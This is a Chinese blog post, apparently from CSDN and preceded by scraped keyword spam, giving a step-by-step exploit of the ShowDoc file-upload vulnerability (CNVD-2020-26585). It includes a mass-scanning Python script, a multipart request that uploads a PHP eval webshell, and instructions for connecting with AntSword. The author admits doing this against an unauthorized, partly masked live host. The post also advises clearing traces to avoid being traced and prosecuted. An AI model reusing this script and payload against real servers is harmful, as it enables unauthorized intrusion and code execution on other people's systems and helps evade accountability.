线上咨询预约网站建设方案,北京建站公司兴田德润专业,江苏建设工程信息网一体化平台官网,有赞微商城登录参考#xff1a;ShowDoc文件上传漏洞#xff08;CNVD-2020-26585#xff09;_showdoc漏洞-CSDN博客
一、fofa 搜索使用该工具的网站
网络空间测绘#xff0c;网络空间安全搜索引擎#xff0c;网络空间搜索引擎#xff0c;安全态势感知 - FOFA网络空间测绘系统
S…参考ShowDoc文件上传漏洞CNVD-2020-26585_showdoc漏洞-CSDN博客
一、fofa 搜索使用该工具的网站
网络空间测绘网络空间安全搜索引擎网络空间搜索引擎安全态势感知 - FOFA网络空间测绘系统
ShowDoc 二、验证目标url是否存在漏洞
手动验证
在url后面拼接
?s/home/page/uploadImg
如果能成功访问就说明有可能存在漏洞是否存在漏洞还需要后续进行上传测试 编写python脚本进行批量验证
首先你可以编写个搜索fofa的脚本用来收集目标ip
搜索ip脚本的编写教程Python教程如何用Python编写FOFA爬虫获取信息_fofa python-CSDN博客 然后就可以编写ip验证脚本
import requests# 读取本地的 ip.txt 文件
def read_urls(file_path):with open(file_path, r) as file:urls file.readlines()return [url.strip() for url in urls]# 测试 URL 是否存在漏洞
def test_vulnerabilities(urls, timeout3):endpoint /?s/home/page/uploadImgkeyword 没有上传的文件for url in urls:full_url url endpointtry:response requests.get(full_url, timeouttimeout)if response.status_code 200 and keyword in response.text:print(fPotential vulnerability found at: {full_url})else:pass# print(fNo vulnerability detected at: {full_url} (Status Code: {response.status_code}))except requests.RequestException as e:pass# print(fError accessing {full_url}: {e})# 主函数
def main():file_path ip.txturls read_urls(file_path)test_vulnerabilities(urls)if __name__ __main__:main() 三、尝试上传webshell
随便选择一个可能存在漏洞的url进行复现
使用bp抓包 发送到重发器 将请求改成post请求 然后在请求体后面加上payload
payload
Content-Type: multipart/form-data; boundary--------------------------921378126371623762173617
Content-Length: 257----------------------------921378126371623762173617
Content-Disposition: form-data; nameeditormd-image-file; filenametest.php
Content-Type: text/plain?php eval($_POST[mima]);?
----------------------------921378126371623762173617--
以下是对每部分的详细解释 Content-Type: multipart/form-data; boundary--------------------------921378126371623762173617: Content-Type: multipart/form-data 指定了请求的主体是 multipart/form-data 格式这种格式通常用于上传文件或包含多个部分的数据。boundary--------------------------921378126371623762173617 是分隔符它用于分隔请求中的各个部分。边界值用于在请求体中分隔不同的数据部分。 Content-Length: 257: 指示请求体的长度为 257 字节。这是请求体的总字节数包括所有分隔符和数据。 ----------------------------921378126371623762173617: 这是第一个分隔符表示请求体的开始。这是用来分隔请求中的第一个部分的边界。 Content-Disposition: form-data; nameeditormd-image-file; filenametest.php: Content-Disposition: form-data 表示这是表单数据的一部分。nameeditormd-image-file 指定了表单字段的名称这里是 editormd-image-file。filenametest.php 指定了上传文件的名称这里是 test.php。 Content-Type: text/plain: 指定了上传文件的 MIME 类型这里是 text/plain表示文件的内容是纯文本。 ?php eval($_POST[mima]);?: 这是文件 test.php 中的内容。它是一个 PHP 代码片段用于执行传入的 PHP 代码。eval($_POST[mima]); 会执行 POST 请求中 mima 字段的内容这可能会导致代码执行漏洞允许攻击者在服务器上执行任意代码。 ----------------------------921378126371623762173617--: 这是请求体的结束分隔符标志着请求体的结束。 四、使用工具蚁剑、菜刀、冰蝎、哥斯拉尝试连接webshell
这里用蚁剑演示复制链接至蚁剑将所有的“\”去除 去除 / 反斜杠后链接就会变成这样
http://14.***.***.152:8082/Public/Uploads/2024-08-22/66c744243f700.php 连接密码mima 可以连接后就可以进入虚拟终端执行一些命令比如查看当前权限 可以继续上传msf或cs的马进行操作提权但是我没有目标的授权就不继续下去了如果你需要学习这方面的知识可以订阅我的专栏49-4 内网渗透 - 不安全的服务权限提权_windows提权--不安全的服务权限的原理-CSDN博客 最后记住清除我们的渗透痕迹防止别人进行溯源起诉我们。 免责声明
欢迎访问我的博客。以下内容仅供教育和信息用途 合法性我不支持或鼓励非法活动。请确保遵守法律法规。 信息准确性尽管我尽力提供准确的信息但不保证其完全准确或适用。使用前请自行验证。 风险提示技术使用可能带来风险如系统损坏或数据丢失。请谨慎使用并自行承担风险。 责任限制我对使用博客内容产生的任何损害不承担责任。 第三方链接博客中的链接仅为方便用户内容不由我负责。
使用本博客即表示您同意以上条款。如果有疑问请联系我。